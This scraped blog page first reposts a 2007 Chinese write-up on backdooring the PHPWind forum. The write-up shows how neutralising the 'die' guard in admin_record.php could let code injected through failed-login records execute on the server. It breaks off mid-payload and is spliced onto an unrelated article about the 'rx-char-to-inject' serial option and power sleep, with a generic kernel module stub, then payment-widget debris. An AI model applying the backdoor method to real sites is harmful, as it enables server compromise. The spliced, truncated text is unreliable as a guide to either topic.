A new way to inject backdoor in PHPWind

本文介绍了一种针对 PHPWind 论坛系统的后门植入方法,通过编辑 admin_record.php 文件绕过原有防御机制,实现非法访问记录的篡改。

by superhei
2007-10-08
http://www.ph4nt0m.org

Text Mode

pw的一个放后门的方式

data/bbscache/admin_record.php是记录后台登陆和操作的,我们看看是怎么操作这个文件的:

admin/admincp.php:

$bbsrecordfile = D_P . " data/bbscache/admin_record.php " ;
if ( ! file_exists ( $bbsrecordfile )){
    writeover(
$bbsrecordfile , " <?php die;?>/n " );
}
// 这个if只是说如果不存在admin_record.php 就用代码生成一个

如果我们只是编辑admin_record.php 把
<? php  die ; ?>

这个给删除呢 :)

我们看下我们的代码杂写入admin_record.php的

你在后台登陆http://localhost/PHPWind_GBK_6.0RC/upload/admin.php
随便用个错误的用户登陆 就会有如下记录:

|admin|s|Logging Failed|127.0.0.1|1191667510|

呵呵 所以我们可以通过这个写入我们的代码,不过这里是有过滤的 不可以用<

所以我们的后门应该这样留:
<? php  die ; ?>

改为
<? php  /* die;?>
 
### rx-char-to-inject 参数概述 `rx-char-to-inject` 是一种机制,通常用于调试或测试目的,在特定条件下注入字符到串口接收缓冲区。然而,这种行为可能会影响系统的低功耗模式或者休眠状态[^1]。 当 `rx-char-to-inject` 被启用时,它会模拟接收到数据的行为并触发中断处理程序。这可能会干扰系统进入深度休眠模式的能力,因为中断活动通常是退出低功耗状态的一个常见原因。 ### 休眠受影响的原因分析 在支持 Idle Dynticks 或无周期定时器(CONFIG_NO_HZ_IDLE)的系统中,任何外部事件都可能导致 CPU 唤醒从而终止其节能操作。如果配置了 `rx-char-to-inject` 并设置了相应的字符,则即使没有实际硬件输入发生,也会定期唤醒处理器来处理这些虚拟的数据包。这种情况显著增加了不必要的能耗,并降低了电池供电设备的有效续航时间。 ### 解决方案探讨 为了减少由该功能引起的不必要唤醒次数,可以考虑以下几个方面: #### 方法一:禁用特性 最直接的办法就是完全关闭此选项除非确实需要使用它来进行某些特殊场景下的开发验证工作。 可以通过修改内核编译选项去掉对它的支持: ```bash make menuconfig ``` 导航至相关部分取消勾选该项即可。 #### 方法二:调整参数设置 如果不希望彻底移除这个能力而是仅想降低影响程度的话,那么合理设定注入频率以及具体哪些情况下允许执行这样的动作就显得尤为重要了。例如增加两次连续发送之间的间隔时间使得整体活跃度下降;又或者是限定只有处于指定运行级别之下才生效等等措施都可以有效缓解上述提到的问题。 另外还可以通过动态加载模块的方式控制何时开启/关闭这项服务而不是始终保持激活状态以达到更加灵活的目的。 ```c static int __init my_module_init(void){ printk(KERN_INFO "Loading module\n"); return 0; } static void __exit my_module_exit(void){ printk(KERN_INFO "Unloading module\n"); } module_init(my_module_init); module_exit(my_module_exit); MODULE_LICENSE("GPL"); MODULE_AUTHOR("Your Name"); MODULE_DESCRIPTION("A simple example kernel module."); ``` 以上代码片段展示了一个简单的Linux Kernel Module框架结构,可以根据实际情况编写逻辑实现按需调用的功能开关效果。 ### 总结 综上所述,针对因 `rx-char-to-inject` 导致无法正常进入休眠状况这一现象提供了两种主要应对策略——要么从根本上杜绝此类情况的发生即删除对应组件的支持定义;要么精细化管理关联属性进而最小化副作用范围内的表现形式。最终采取哪种方式取决于项目需求和个人偏好等因素共同决定。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值